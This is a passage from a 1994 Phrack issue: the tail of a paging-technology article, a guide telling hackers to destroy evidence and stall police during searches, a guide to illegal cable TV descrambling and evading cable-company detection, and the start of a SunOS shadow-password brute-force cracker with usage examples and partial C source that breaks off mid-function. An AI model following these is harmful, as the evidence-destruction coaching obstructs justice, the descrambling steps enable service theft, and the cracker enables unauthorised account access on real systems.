Once connected, users have the option of sending a page out, or retrieving pages either too large for the memory of the pager, or from a list of all messages sent in the last 24 hours, in case the subscriber had his pager turned off.

Additionally, the devices can be addressed directly via x.400 addresses. (X.400: The CCITT standard that covers email address far too long to be worth sending anyone mail to.) So essentially, any EMBARC customer can be contacted from the Internet.

MTEL, the parent company of the huge paging service SkyTel, is implementing what may be the next generation of paging technologies. This service, NWN, being administrated by MTEL subsidiary Destineer, is most often called 2‑way paging, but is more accurately Narrowband‑PCS.

The network allows for the "pager" to be a transceiver. When a page arrives, the device receiving the page will automatically send back an acknowledgment of its completed reception. Devices may also send back some kind of "canned response" the user programs. An example might be: "Thanks, I got it!" or "Why on Earth are you eating up my allocated pages for the month with this crap?"

MTEL's service was awarded a Pioneers Preference by the FCC, which gave them access to the narrowband PCS spectrum before the auctions. This is a big deal, and did not go unnoticed by Microsoft. They dumped cash into the network, and said the devices will be supported by Chicago. (Yeah, along with every other device on the planet, right? Plug and Pray!)

The network will be layed out almost identically to MTEL's existing paging network, using dedicated lines to connect towers in an area to a central satellite up/downlink. One key difference will be the addition of highly somewhat sensitive receivers on the network, to pick up the ACKs and replies of the customer units, which will probably broadcast at about 2 or 3 watts. The most exciting difference will be the speed at which the network transmits data: 24,000 Kbps. Twenty‑four thousand. (I couldn't believe it either. Not only can you get your GIFs sent to your pager, but you get them blinding FAST!) The actual units themselves will most likely look like existing alphanumeric pagers with possibly a few more buttons, and of course, PCMCIA units will be available to integrate with computer applications.

Beyond these advancements, other types of services plan on offering paging like features. CDPD, TDMA & CDMA Digital Cellular and ESMR all plan on providing a "pager‑like" option for their customers. The mere fact that you can walk into a K‑Mart and buy a pager off a rack would indicate to me that pagers are far to ingrained into our society, and represent a wireless technology that doesn't scare or confuse the yokels. Such a technology doesn't ever really go away.

** BIBLIOGRAPHY **

Kneitel, Tom, "The Secret Life of Beepers," _Popular Communications_, p. 8, July, 1994.

O'Brien, Michael, "Beep! Beep! Beep!," _Sun Expert_, p. 17, March, 1994.

Legal Info by Szechuan Death

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 9 of 28

****************************************

Legal Info by Szechuan Death

OK. This document applies only to United States citizens: if you are a citizen of some other fascist country, don't come whining to me when this doesn't work..... :)

Make no mistake: I'm not a lawyer. I've merely paid attention and picked up some facts that might be useful to me along the way. There are three subjects that it pays to have a knowledge of handy: prescription drugs, medical procedures, and legal facts. While these may all be boring as hell, they can certainly pull your ass out of the fire in a pinch.

Standard disclaimer: I make no claims about this document or facts contained therein. I also make no claims about their legal authenticity: if you want to be 100% sure, there's a library in damn near every town, LOOK IT UP!

One more thing: This document is useful for virtually ANYTHING. It's effectiveness stretches far beyond computer hacking (although it's worn a bit thin for serious crimes, as every cretin on Death Row has tried it already.....:)

OK. Let's say, just for the sake of argument, that you've decided to take a walk along the wild side and do something illegal. For our purposes, let's say computer hacking (imagine that). There are many things you can do cover your legal ass, should your activities come to the attention of any of our various friendly law‑enforcement agencies nationwide.

‑‑ Part 1: Police Mentality

You must understand the police, if you ever want to be able to thwart them and keep your freedom. Most police, to survive in their jobs, have developed an "Us vs. Them" attitude, which we should tolerate (up to a point). They use this attitude to justify their fascist tactics. "Us" is the police, a brotherhood that keeps the peace, always does right, and never snitches on each other, no matter what the cause. "Them" is the rest of the population. If "They" are not guilty of a specific crime, they must have done something else, and they're doing their damndest to avoid getting caught. In addition, many police have cultivated an attitude similar to that of a 15‑year‑old high school punk: "I'm bad, I'm bad, I'm SOOOOO bad, I Am Cop, Hear Me ROAR," etc. Unfortunately, these people have weapons and the authority to support that attitude. Therefore, if the police come to your house, be EXTREMELY polite and subservient; now is not the time to start spouting your opinion about the police state in America today. Also, DO NOT RESIST THEM IF THEY ARREST YOU. Besides adding a charge of "Resisting Arrest" and/or "Assaulting an Officer", it can get very dangerous. The police have been trained in a number of suspect‑control techniques, most of which involve twisting body parts at unnatural angles. As if this weren't enough, almost all police carry guns. Start fighting and you'll get a couple broken bones, torn ligaments, or worse, a few bullet wounds (possibly fatal). So remember, be very meek. Show them that you are cowed by their force and their blustering presence, and this will save you a black eye or two on the way down to the station (from tripping and falling, of course).

‑‑ Part 2: Hacker's Security

CARDINAL RULE #1: Get rid of the evidence. No evidence = no case for the prosecutor. The Novice Hacker's Guide from LOD has an excellent way to put this:

VIII. Don't be afraid to be paranoid. Remember, you *are* breaking the law. It doesn't hurt to store everything encrypted on your hard disk, or keep your notes buried in the backyard or in the trunk of your car. You may feel a little funny, but you'll feel a lot funnier when you when you meet Bruno, your transvestite cellmate who axed his family to death.

Basic hints:

Hide all your essential printouts, or burn them if they're trash (remember: police need no warrant to search your trash). Encrypt the files on your hard drive with something nasty, like PGP or RSA. Use a file‑wiper, NOT delete, to get rid of them when you're done. And WIPE, don't FORMAT, your floppies and other magnetic media (better still, degauss them). With a little common sense and a bit of effort, a great deal of legal headaches can be avoided.

‑‑ Part 3A: Polite Entry

Next part. You and your friends are enjoying an evening of trying to polevault the firewall on whitehouse.com, when suddenly you hear a knock at the door. Opening the door, you find a member of the local police force standing outside, asking if he can come in and ask you some questions. Now, here's where you start to piss your pants. If you were smart, you'll have arranged something beforehand where your friends (or, if there ARE no friends present, an automatic script) are getting rid of the evidence as shown in part 2. If you have no handy means of destroying the data (printouts, floppies, tapes, etc.), throw the whole mess into

the bathtub, soak it in lighter fluid, and torch it. It's a helluva mess to clean up, but nothing compared to latrine duty at your nearest federal prison.

While the evidence is being destroyed, you're stalling the police. Ask to see their search warrant and IDs. Mull over each and every one of them for at least 5 minutes. If they have none, start screaming about your 4th Amendment rights. Most importantly: DON'T INVITE THEM IN. They're like vampires: if you let them in, you're fucked. If they see anything even REMOTELY incriminating, that constitutes probable cause for a search and they'll be swarming all over your house like flies on shit. (And guess what! It's legal, because YOU LET THEM IN!) Now, be aware that this won't stall them forever: they can simply wait outside the house and radio in a request for a search warrant, which will probably be signed by the judge on duty at that time. Remember: "If you're not willing to be searched, you MUST have something to hide!" If there are no friends assisting you, as shown above, USE THIS TIME EFFECTIVELY. When they get the warrant signed, that will be too late, because you'll have erased/shredded/burned/hidden/etc. all the incriminating evidence.

‑‑ Part 3B: And Suddenly, The Door Burst In

Now, if the police already have a search warrant, they don't need to knock on the door. They can simply kick the door down and waltz in. If you're there at the time, you CAN try and stall them as shown above, by asking to see their search warrant and IDs. This may not work now, because they have you cold, hard, and dead to rights. And, if anything incriminating is in a place where they can find it, you're fucked, because it WILL be used as evidence. But this won't happen to you, because you've already put everything you're not using right at the moment in a safe, HIDDEN, place. Right?

This leaves the computer. If you hear them kicking the door in, keep calm, and run a script you've set up beforehand to lowlevel‑format the drive, wipe all hacking files, encrypt the whole thing, etc. If there's any printouts or media hanging out, try and hide them (probably worthless anyway, but worth a try). The name of the game now is to minimize the damage that can be done to you. The less hard evidence linking you to the "crime", the less of a case the prosecutor will have and the better off you'll be.

‑‑ Part 4: The Arrest

Now is the time to kick all your senses into hyper‑record mode. For you to get processed through the system without a hitch, the arrest has to go perfectly, by the numbers. One small slip and you're out through a loophole. Now, the police are aware of this and will be doing their best to see that doesn't happen, but you may get lucky all the same. First of all: According to the Miranda Act, the police are REQUIRED BY LAW to read you your rights and make sure you understand them. Remember EVERY WORD THEY SAY TO YOU. If they don't say it correctly, you may be able to get off on a technicality.

CARDINAL RULE #2: You have the right to remain silent. EXERCISE IT. This cannot be stressed enough. If you need a reminder, listen to the first part of the Miranda Warning:

"You have the right to remain silent. If you give up that right, ANYTHING YOU SAY CAN AND WILL BE USED AGAINST YOU IN A COURT OF LAW."

Nice ring to it, hmm? The only words coming out of your mouth at this point should be "I'd like to speak to my attorney, please" and, if applicable in your area, "I'd like to make a phone call, please" (remember the "please's," see part #1 above) Nothing else. There are tape recorders, video cameras, PLUS the word of a dozen police officers to back it all up. How's that for an array of damning evidence against you?

Then, after the ride downtown, you'll be booked and probably asked a few questions. Say nothing. You're probably pissing your pants with fear at this point, and may be tempted to roll over on everyone you ever shook hands with in your whole life, but keep your calm, and KEEP QUIET. Keep asking for your attorney and/or a phone call, no matter WHAT threats/deals/etc. they make to you. Remember, they can't legally interrogate you without your attorney present. You may also be tempted to show your mettle at this point, and give them false information, but remember one thing: If you lie to them, you can be convicted of perjury (a nasty offense itself). The best policy here is NSA: Never Say Anything. Remember, you never have to keep track of what you've said, or have to worry about having it used against you, if you've said NOTHING.

‑‑ Part 5: The Trial

Here, we'll assume you've been arrested, booked, let out on bail, indicted on X counts of so‑and‑so, etc. You're now in the system. CARDINAL RULE #3: Get the best criminal defense attorney you can afford, preferably one with some background in the crime you've committed. No, scratch that: make that the best criminal defense attorney, PERIOD. It's a helluva lot better to spend 5 years working at McDonald's 12 hours a day to pay back your legal fee, than it is to spend 5 years in the slammer getting pimped out nightly for a pack of menthols. Also, pay attention during the trial. Remember, the defense attorney is working for YOU: it's YOUR life they're deciding, so give him every bit of information and help you can. You're paying him to sort it out for you, but you should still keep an eye on things: if, in the middle of a trial, something happens (you get a killer idea, or want to jump up and scream "BULLSHIT!"), TELL HIM! It very well might be useful! Also, have him nitpick every single thing for loopholes, technicalities, civil rights violations, etc. It's worth it if it pays off.

Another important thing is to look good. Image is everything. Although you might prefer to wear heavily stained rock‑band Tshirts, leather jackets, ratty jeans, etc. in real life, that will be EXTREMELY damning in the eyes of the judge/jury. They say that clothes make the man, and in this case it's REALLY true: get a suit, comb/cut your hair, shave, etc. Make yourself look like a "positively respectable darling" in the eyes of the court! It'll pay off for you. (hey, it worked for Eric and Lyle Menendez)

‑‑ Part 8: The Prison

If you're here, you're totally fucked. Unless, by divine intervention, your conviction is overturned on appeal, you'd better clear up the next 5 years on your calendar. Apparently, you didn't read closely enough, so read this every day during your long stay in prison, and you'll be better equipped next time (assuming there IS a next time..... :)

Remember the cardinal rules: 1) Don't leave evidence around to be found. 2) KEEP CALM AND KEEP QUIET. 3) Get the best attorney available. If you remember these, and exercise some common sense and a lot of caution, you should have no problem handling any legal problems that come up.

Note: This is intended to be used as a handbook for defense from minor crimes ONLY (hacking, DWI, etc.) If you're a career criminal, or you've murdered or raped somebody, you're scum, and at least have the grace to plead "guilty". Don't waste the taxpayers' time and money with fancy legal footwork.

Please feel free to add anything or correct this document. However, if you DO add or correct something, PLEASE make sure it's true, and PLEASE email me the changes so I can include them in the next revision of the document. My address is pstlb@acad3.alaska.edu. Happy hacking to all, and if this helps you avoid getting caught, so much the

A Guide to Porno Boxes

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 10 of 28

****************************************

/********************

/* A Guide to Porno Boxes */

/* by Carl Corey */

/********************

Keeping with tradition, and seeing that this is the first article in Phrack on cable TV descrambling, any illegal box for use in descrambling cable television signals is now known as a PORNO BOX.

There are many methods that cable companies use to insure that you get what you pay for ‑ and _only_ what you pay for. Of course, there are always methods to get 'more than you pay for'. This file will discuss the most important aspects of these methods, with pointers to more detailed information, including schematics and resellers of equipment.

Part I. How the cable company keeps you from getting signals A brief history

‑‑‑Older Systems‑‑‑

Most scrambling methods are, in theory, simple. The original method used to block out signals was the trap method. All traps remove signals that are sent from the CATV head end (the CATV company's station). The first method, which is rarely used anymore was the negative trap. Basically, every point where the line was dropped had these traps, which removed the pay stations from your signal. If you decided to add a pay station, the company would come out and remove the trap. This method was pretty secure ‑ you would provide physical evidence of tampering if you climbed the pole to remove them or alter them (sticking a pin through them seemed to work randomly, but could affect other channels, as it shifts the frequency the trap removes.) This was a very secure system, but did not allow for PPV or other services, and required a lot of physical labor (pole‑climbers aren't cheap). The only places this is used anymore is in an old apartment building, as one trip can service several programming changes. Look for a big gray box in the basement with a lot of coax going out. If you are going to give yourself free service, give some random others free service to hide the trail.

The next method used was termed a positive trap. With this method, the cable company sends a _very_ strong signal above the real signal. A tuner sees the strong signal, and locks onto the 'garbage' signal. A loud beeping and static lines would show up on the set. For the CATV company to enable a station, they put a 'positive' trap on the line, which (despite the name) removes the garbage signal. Many text files have been around on how to descramble this method (overlooking the obvious, buying a (cheap) notch filter), ranging from making a crude variable trap, to adding wires to the cable signal randomly to remove the signal. This system is hardly used anymore, as you could just put a trap inside your house, which wouldn't be noticed outside the house.

‑‑‑Current Systems‑‑‑

The next advent in technology was the box. The discussion of different boxes follows, but there is one rather new technology which should be discussed with the traps. The addressable trap is the CATV's dream. It combines the best features of the negative trap (very difficult to tamper with without leaving evidence) with features of addressable boxes (no lineman needs to go out to add a service, computers can process Pay Per View or other services). Basically, a 'smart trap' sits on the pole and removes signals at will. Many systems require a small amp inside the house, which the cable company uses to make sure that you don't hook up more than one TV. I believe that the new CATV act makes this illegal, and that a customer does not have to pay for any extra sets (which do not need equipment) in the house. Of course, we all know that the cable TV company will do whatever it wants until it is threatened with lawsuits.

Cable boxes use many different methods of descrambling. Most are not in use anymore, with a few still around, and a few around the corner in the future. The big thing to remember is sync suppression. This method is how the cable companies make the picture look like a really fucked up, waving Dali painting. Presently the most popular method is the Tri‑mode In‑band Sync suppression. The sync signal is suppressed by 0, 6, or 10 dB. The sync can be changed randomly once per field, and the information necessary for the box to rebuild a sync signal. This very common system is discussed in Radio‑Electronics magazine in the 2/87 issue. There are schematics and much more detailed theory than is provided here.

The other common method currently used is SSAVI, which is most common on Zenith boxes. It stands for Sync Suppression And Video Inversion. In addition to sync suppression, it uses video inversion to also 'scramble' the video. There is no sync signal transmitted separately (or reference signal to tell the box how to de‑scramble) as the first 26 lines (blank, above the picture) are not de‑synched, and can be re‑synched with a phased lock loop ‑ giving sync to the whole field. The data on inversion is sent somewhere in the 20 or 21st line, which is outside of the screen. Audio can be scrambled too, but it is actually just moved to a different frequency. Radio Electronics August 92 on has circuits and other info in the Drawing Board column.

‑‑‑Future Systems‑

For Pioneer, the future is now. The system the new Pioneers use is patented and Pioneer doesn't want you to know how it works. From the patent, it appears to use combinations of in‑band, out‑band, and keys (also sending false keys) to scramble and relay info necessary to descramble. These boxes are damn slick. The relevant patents are US #5,113,411 and US #4,149,158 if you care to look. There is not much information to be gained from them. Look for future updates to this article with info on the system if I can find any :)

Other systems are the VideoCipher + (used on satellites now ‑ this is scary shit.) It uses DES‑encrypted audio. DigiCable and DigiCipher are similar, with Digi encrypting the video with DES also (yikes)... And they all use changing keys and other methods. Oak Sigma converters use similar methods which are available now on cable. (digital encryption of audio, etc...)

Part II. How the cable company catches you getting those signals

There are many methods the CATV company can use to catch you, or at least keep you from using certain methods.

Market Code: Almost _all_ addressable decoders now use a market code. This is part of the serial number (which is used for pay per view addressing) which decodes to a general geographic region. Most boxes contain code which tell it to shut down if it receives a code (which can be going to any box on the cable system) which is from a different market area. So if you buy a converter that is say, market‑coded for Los Angeles, you won't be able to use it in New York.

Bullets: The bullet is a shut down code like above ‑ it will make your box say 'bAh' and die. The method used most is for the head end to send messages to every box they know of saying 'ignore the next shutdown message' ... and once every (legit) box has this info, it sends the bullet. The only boxes that actually process the bullet are ones which the CATV system doesn't know about. P.S. Don't call the cable company and complain about cable if you are using an illegal converter ‑ and be sure to warn anyone you live with about calling the CATV co. also.

Leak Detection: The FCC forces all cable companies to drive around and look for leaks ‑ any poor splice jobs (wiring your house from a neighbors without sealing it up nice) and some descramblers will emit RF. So while the CATV is looking for the leaks, they may catch you.

Free T‑Shirts: The cable company can, with most boxes, tell the box to display a different signal. So they can tell every box they know of (the legit box pool) to display a commercial on another channel, while the pirate boxes get this real cool ad with an 1800 number for free t‑shirts... you call, you get busted. This is mostly done during PPV boxing or other events which are paid for ‑ as the company knows exactly who should get that signal, and can catch even legit boxes which are modified to receive the fight.

Your Pals: Programs like "Turn in a cable pirate and get $100" let you know who your friends _really_ are.

Part III: How to get away with it.

I get a lot of questions about opening a box that you own. This is not a good idea. Most, if not ALL boxes today have a tamper sensor. If you open the box, you break a tab, flip a switch, etc... This disables the box and leaves a nice piece of evidence for the CATV co. to show that you played with it.

I also have had questions about the old "unplug the box when it is enabled, then plug it back in later"... The CATV company periodically sends a signal to update all the boxes to where they should be. If you want to do this, you'll need to find out where the CATV sends the address information, and then you need to trap it out of the signal. So as soon as the fraudulent customer (let's call him Chris) sees his box get the signal to receive the PPV porn channel, he installs the trap and now his box will never get any pay per view signals again... but he'll always have whatever he was viewing at the time he put the trap in. Big problem here is that most _newer_ systems also tell the box how long it can descramble that channel ‑ i.e. "Watch SPICE until I tell you not to, or 3 hours have passed"...

Where to make/buy/get porno boxes:

You can order a box which has been modified not to accept bullets. This method is pretty expensive. You can also get a 'pan' descrambler ‑ it is a separate piece that takes whatever goes in on channel 3 (or 2 or 4) and descrambles it. These boxes can't be killed by the bullets, and work pretty well. There are some pans which are made by the same company as your cable box and are sensitive to bullets, so beware.

There are two basic ideas for modifying a box (provided you get detailed instructions on how to get it open, or how to fix it once you open it). You can change the S/N to something which is known as 'universal' or disassemble the code and remove the jump to the shutdown code. The universal codes are rare, and may be extinct. Besides, if the cable company finds out your code, they can nuke it. This happens when someone who makes (err made) 'universal' chips gets busted. The modification of the actual code is the best way to do it, just forcing a positive response to permission checks is the easiest way.

A 'cube' is not a NeXT, it's a device which removes the data signal from the cable line, and inserts a 'nice' data signal which tells your box to turn everything on. A 'destructive' cube actually re‑programs all the boxes below it to a new serial number and gives that number full privileges, while a 'non‑destructive' cube needs to know your boxes serial number, so it can tell your box (without modifications) that it can view everything. You have to get a new IC if you change boxes, but the plus is that you can remove the cube and the box functions as normal. Then again, you have to trust the place you are ordering the cube from to not be working for the cable company, as you have to give them your box serial number ‑ which the CATV cable has in their records. Cubes have been seen for sale in the back of Electronics Now (formerly Radio Electronics).

Of course, you could check in the above mentioned articles and build circuitry, it would be a lot cheaper. The only problem is that you have to be good enough not to fuck it up ‑ TV signals are very easy to fuck up.

Then there is the HOLY GRAIL. Most scrambling systems mess with the sync pulse. This pulse is followed by the colorburst signal on NTSC video. Basically, the grail finds the colorburst and uses it as a reference signal. In theory, it works wonderfully (but does not fix the video inversion problems found on SSAVI systems). However, with the sync pulse whacked, the colorburst method may give weak color or color shifts. The schematics are in the May 1990 Radio‑Electronics. I have also received email from aa570@cleveland.Freenet.Edu about his colorburst kit, which is a modified (supposedly higher quality) version of the R‑E schematics. The schematic and parts list is 5 bucks, 16 bucks for a pre‑drilled and etched board. A little steep, but not too bad. E‑mail the above for more information.

Anyway, that's all for now. Remember, information (including XXX movies) wants to be free!

Carl Corey / dEs

Unix Hacking - Tools of the Trade

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 11 of 28

****************************************

********************

* Unix Hacking Tools of the Trade *

*

* By *

*

* The Shining/UPi (UK Division) *

********************

Disclaimer :

The following text is for educational purposes only and I strongly suggest that it is not used for malicious purposes....yeah right!

Introduction :

Ok, I decided to release this phile to help out all you guys who wish to start hacking unix. Although these programs should compile & run on your system if you follow the instructions I have given, knowing a bit of C will come in handy if things go wrong. Other docs I suggest you read are older 'phrack' issues with shooting sharks various articles on unix, and of course, 'Unix from the ground up' by The Prophet.

This article includes three programs, a SUNOS Brute force Shadow password file cracker, The Ultimate Login Spoof, and a Unix Account Validator.

Shadow Crack

‑‑‑‑‑‑‑‑‑

SUNOS Unix brute force shadow password file cracker

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well, a while back, I saw an article in phrack which included a brute force password cracker for unix. This was a nice idea, except that these days more and more systems are moving towards the shadow password scheme. This, for those of you who are new to unix, involves storing the actual encrypted passwords in a different file, usually only accessible to root. A typical entry from a System V R4 password file looks like this :‑

root:x:0:1:Sys. admin:/:/bin/sh

with the actual encrypted password replaced by an 'x' in the /etc/passwd file. The encrypted password is stored in a file(in the case of sysV) called /etc/shadow which has roughly the following format :‑

root:XyfgFekj95Fpq:::::

this includes the login i.d., the encrypted password, and various other fields which hold info on password ageing etc...(no entry in the other fields indicate they are disabled).

Now this was fine as long as we stayed away from system V's, but now a whole load of other companies have jumped on the bandwagon from IBM (aix) to Suns SUNOS systems. The system I will be dealing with is SUNOS's shadowed system. Now, like sysV, SUNOS also have a system whereby the actual encrypted passwords are stored in a file usually called /etc/security/passwd.adjunct, and normally this is accessible only by root. This rules out the use of brute force crackers, like the one in phrack quite a while back, and also modern day programs like CRACK. A typical /etc/passwd file entry on shadowed SUNOS systems looks like this :‑

root:##root:0:1:System Administrator:/:/bin/csh

with the 'shadow' password file taking roughly the same format as that of Sys V, usually with some extra fields.

However, we cannot use a program like CRACK, but SUNOS also supplied a function called pwdauth(), which basically takes two arguments, a login name and decrypted password, which is then encrypted and compared to the appropriate entry in the shadow file, thus if it matches, we have a valid i.d. & password, if not, we don't.

I therefore decided to write a program which would exploit this function, and could be used to get valid i.d's and passwords even on a shadowed system!

To my knowledge the use of the pwdauth() function is not logged, but I could be wrong. I have left it running for a while on the system I use and it has attracted no attention, and the administrator knows his shit. I have seen the functions getspwent() and getspwnam() in Sys V to manipulate the shadow password file, but not a function like pwdauth() that will actually validate the i.d. and password. If such a function does exist on other shadowed systems then this program could be very easily modified to work without problems.

The only real beef I have about this program is that because the pwdauth() function uses the standard unix crypt() function to encrypt the supplied password, it is very slow!!! Even in burst mode, a password file with 1000's of users could take a while to get through. My advice is to run it in the background and direct all its screen output to /dev/null like so :‑

shcrack ‑mf ‑uroot ‑ddict1 > /dev/null &

Then you can log out then come back and check on it later!

The program works in a number of modes, all of which I will describe below, is command line driven, and can be used to crack both multiple accounts in the password file and single accounts specified. It is also NIS/NFS (Sun Yellow Pages) compatible.

How to use it

‑‑‑‑‑‑‑‑‑‑‑‑‑

shcrack ‑m[mode] ‑p[password file] ‑u[user id] ‑d[dictionary file]

Usage :‑

‑m[mode] there are 3 modes of operation :‑

‑mb Burst mode, this scans the password file, trying the minimum number of password guessing strategies on every account.

‑mi Mini‑burst mode, this also scans the password file, and tries most password guessing strategies on every account.

‑mf Brute‑force mode, tries all password strategies, including the use of words from a dictionary, on a single account specified.

more about these modes in a sec, the other options are :‑

‑p[password file] This is the password file you wish to use, if this is left unspecified, the default is /etc/passwd. NB: The program automatically detects and uses the password file wherever it may be in NIS/NFS systems.

‑u[user id] The login i.d. of the account you wish to crack, this is used in Brute‑force single user mode.

‑d[dict file] This uses the words in a dictionary file to generate possible passwords for use in single user brute force mode. If no filename is specified, the program only uses the password guessing strategies without using the dictionary.

Modes

^^^^^

‑mb Burst mode basically gets each account from the appropriate password file and uses two methods to guess its password. Firstly, it uses the account name as a password, this name is then reversed and tried as a possible password. This may seem like a weak strategy, but remember, the users passwords are already shadowed, and therefore are deemed to be secure. This can lead to sloppy passwords being used, and I have came across many cases where the user has used his/her i.d. as a password.

‑mi Mini‑burst mode uses a number of other password generating methods as well as the 2 listed in burst mode. One of the methods involves taking the login i.d. of the account being cracked, and appending the numbers 0 to 9 to the end of it to generate possible passwords. If this mode has no luck, it then uses the accounts gecos 'comment' information from the password file, splitting it into words and trying these as passwords. Each word from the comment field is also reversed and tried as a possible password.

‑mf Brute‑force single user mode uses all the above techniques for password guessing as well as using a dictionary file to provide possible passwords to crack a single account specified. If no dictionary filename is given, this mode operates on the single account using the same methods as mini‑burst mode, without the dictionary.

Using shadow crack

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To get program help from the command line just type :‑

$ shcrack <RETURN>

which will show you all the modes of operation.

If you wanted to crack just the account 'root', located in /etc/passwd(or elsewhere on NFS/NIS systems), using all methods including a dictionary file called 'dict1', you would do :‑

$ shcrack ‑mf ‑uroot ‑ddict1

to do the above without using the dictionary file, do :‑

$ shcrack ‑mf ‑uroot

or to do the above but in password file 'miner' do :‑

$ shcrack ‑mf ‑pminer ‑uroot

to start cracking all accounts in /etc/passwd, using minimum password strategies do :‑

$ shcrack ‑mb

to do the above but on a password file called 'miner' in your home directory do :‑

$ shcrack ‑mb ‑pminer

to start cracking all accounts in 'miner', using all strategies except dictionary words do :‑

$ shcrack ‑mi ‑pminer

ok, heres the code, ANSI C Compilers only :‑

‑‑‑cut here‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* Program : Shadow Crack

Author : (c)1994 The Shining/UPi (UK Division)

Date : Released 12/4/94

Unix type : SUNOS Shadowed systems only */

#include <stdio.h>

#include <pwd.h>

#include <string.h>

#include <ctype.h>

#include <signal.h>

#define WORDSIZE 20 /* Maximum word size */

#define OUTFILE "data" /* File to store cracked account info */

void word_strat( void ), do_dict( void );

void add_nums( char * ), do_comment( char * );

void try_word( char * ), reverse_word( char * );

void find_mode( void ), burst_mode( void );

void mini_burst( void ), brute_force( void );

void user_info( void ), write_details( char * );

void pwfile_name( void ), disable_interrupts( void ), cleanup();

char *logname, *comment, *homedir, *shell, *dict, *mode, *pwfile, *pwdauth();

struct passwd *getpwnam(), *pwentry;

extern char *optarg;

int option, uid, gid;

int main( int argc, char **argv )

{

disable_interrupts();

system("clear");

if (argc < 2) {

printf("Shadow Crack ‑ (c)1994 The Shining\n");

printf("SUNOS Shadow password brute force cracker\n\n"); printf("useage: %s ‑m[mode] ‑p[pwfile] ‑u[loginid] ", argv[0]); printf("‑d[dictfile]\n\n\n");

printf("[b] is burst mode, scans pwfile trying minimum\n"); printf(" password strategies on all i.d's\n\n");

printf("[i] is mini‑burst mode, scans pwfile trying both\n"); printf(" userid, gecos info, and numbers to all i.d's\n\n"); printf("[f] is bruteforce mode, tries all above stategies\n"); printf(" as well as dictionary words\n\n");

printf("[pwfile] Uses the password file [pwfile], default\n"); printf(" is /etc/passwd\n\n");

printf("[loginid] Account you wish to crack, used with\n"); printf(" ‑mf bruteforce mode only\n\n"); printf("[dictfile] uses dictionary file [dictfile] to\n"); printf(" generate passwords when used with\n"); printf(" ‑mf bruteforce mode only\n\n");

exit(0);

}

/* Get options from the command line and store them in different

variables */

while ((option = getopt(argc, argv, "m:p:u:d:")) != EOF) switch(option)

{

case 'm':

mode = optarg;

break;

case 'p':

pwfile = optarg;

break;

case 'u':

logname = optarg;

break;

case 'd':

dict = optarg;

break;

default:

printf("wrong options\n");

break;

}

find_mode();

}

/* Routine to redirect interrupts */

void disable_interrupts( void )

{

signal(SIGHUP, SIG_IGN);

signal(SIGTSTP, cleanup);

signal(SIGINT, cleanup);

signal(SIGQUIT, cleanup);

signal(SIGTERM, cleanup);

}

/* If CTRL‑Z or CTRL‑C is pressed, clean up & quit */

void cleanup( void )

{

FILE *fp;

if ((fp = fopen("gecos", "r")) != NULL)

remove("gecos");

if ((fp = fopen("data", "r")) == NULL)

printf("\nNo accounts cracked\n");

printf("Quitting\n");

exit(0);

}

/* Function to decide which mode is being used and call appropriate

routine */

void find_mode( void )

{

if (strcmp(mode, "b") == NULL)

burst_mode();

else

if (strcmp(mode, "i") == NULL)

mini_burst();

else

if (strcmp(mode, "f") == NULL)

brute_force();

else

{

printf("Sorry ‑ No such mode\n");

exit(0);

}

}

/* Get a users information from the password file */

void user_info( void )

{

uid = pwentry‑>pw_uid;

gid = pwentry‑>pw_gid;

comment = pwentry‑>pw_gecos;

homedir = pwentry‑>pw_dir;

shell = pwentry‑>pw_shell;

}

/* Set the filename of the password file to be used, default is

/etc/passwd */

void pwfile_name( void )

{

if (pwfile != NULL)

setpwfile(pwfile);

}

/* Burst mode, tries user i.d. & then reverses it as possible passwords

on every account found in the password file */

void burst_mode( void )

{

pwfile_name();

setpwent();

while ((pwentry = getpwent()) != (struct passwd *) NULL)

{

logname = pwentry‑>pw_name;

user_info();

try_word( logname );

reverse_word( logname );

}

endpwent();

}

/* Mini‑burst mode, try above combinations as well as other strategies

which include adding numbers to the end of the user i.d. to generate passwords or using the comment field information in the password file */

void mini_burst( void )

{

pwfile_name();

setpwent();

while ((pwentry = getpwent()) != (struct passwd *) NULL)

{

logname = pwentry‑>pw_name;

user_info();

word_strat();

}

endpwent();

}

/* Brute force mode, uses all the above strategies as well using a

dictionary file to generate possible passwords */

void brute_force( void )

{

pwfile_name();

setpwent();

if ((pwentry = getpwnam(logname)) == (struct passwd *) NULL) { printf("Sorry ‑ User unknown\n");

exit(0);

}

else

{

user_info();

word_strat();

do_dict();

}

endpwent();

}

/* Calls the various password guessing strategies */

void word_strat()

{

try_word( logname );

reverse_word( logname );

add_nums( logname );

do_comment( comment );

}

/* Takes the user name as its argument and then generates possible

passwords by adding the numbers 0‑9 to the end. If the username is greater than 7 characters, don't bother */

void add_nums( char *wd )

{

int i;

char temp[2], buff[WORDSIZE];

if (strlen(wd) < 8) {

for (i = 0; i < 10; i++)

{

strcpy(buff, wd);

sprintf(temp, "%d", i);

strcat(wd, temp);

try_word( wd );

strcpy(wd, buff);

}

}

}

/* Gets info from the 'gecos' comment field in the password file,

then process this information generating possible passwords from it */

void do_comment( char *wd )

{

FILE *fp;

char temp[2], buff[WORDSIZE];

int c, flag;

flag = 0;

/* Open file & store users gecos information in it. w+ mode

allows us to write to it & then read from it. */

if ((fp = fopen("gecos", "w+")) == NULL) {

printf("Error writing gecos info\n");

exit(0);

}

fprintf(fp, "%s\n", wd);

rewind(fp);

strcpy(buff, "");

/* Process users gecos information, separate words by checking for the

',' field separater or a space. */

while ((c = fgetc(fp)) != EOF)

{

if (( c != ',' ) && ( c != ' ' )) {

sprintf(temp, "%c", c);

strncat(buff, temp, 1);

}

else

flag = 1;

if ((isspace(c)) || (c == ',') != NULL) {

if (flag == 1) {

c=fgetc(fp);

if ((isspace(c)) || (iscntrl(c) == NULL)) ungetc(c, fp);

}

try_word(buff);

reverse_word(buff);

strcpy(buff, "");

flag = 0;

strcpy(temp, "");

}

}

fclose(fp);

remove("gecos");

}

/* Takes a string of characters as its argument(in this case the login

i.d., and then reverses it */

void reverse_word( char *wd )

{

char temp[2], buff[WORDSIZE];

int i;

i = strlen(wd) + 1;

strcpy(temp, "");

strcpy(buff, "");

do

{

i‑‑;

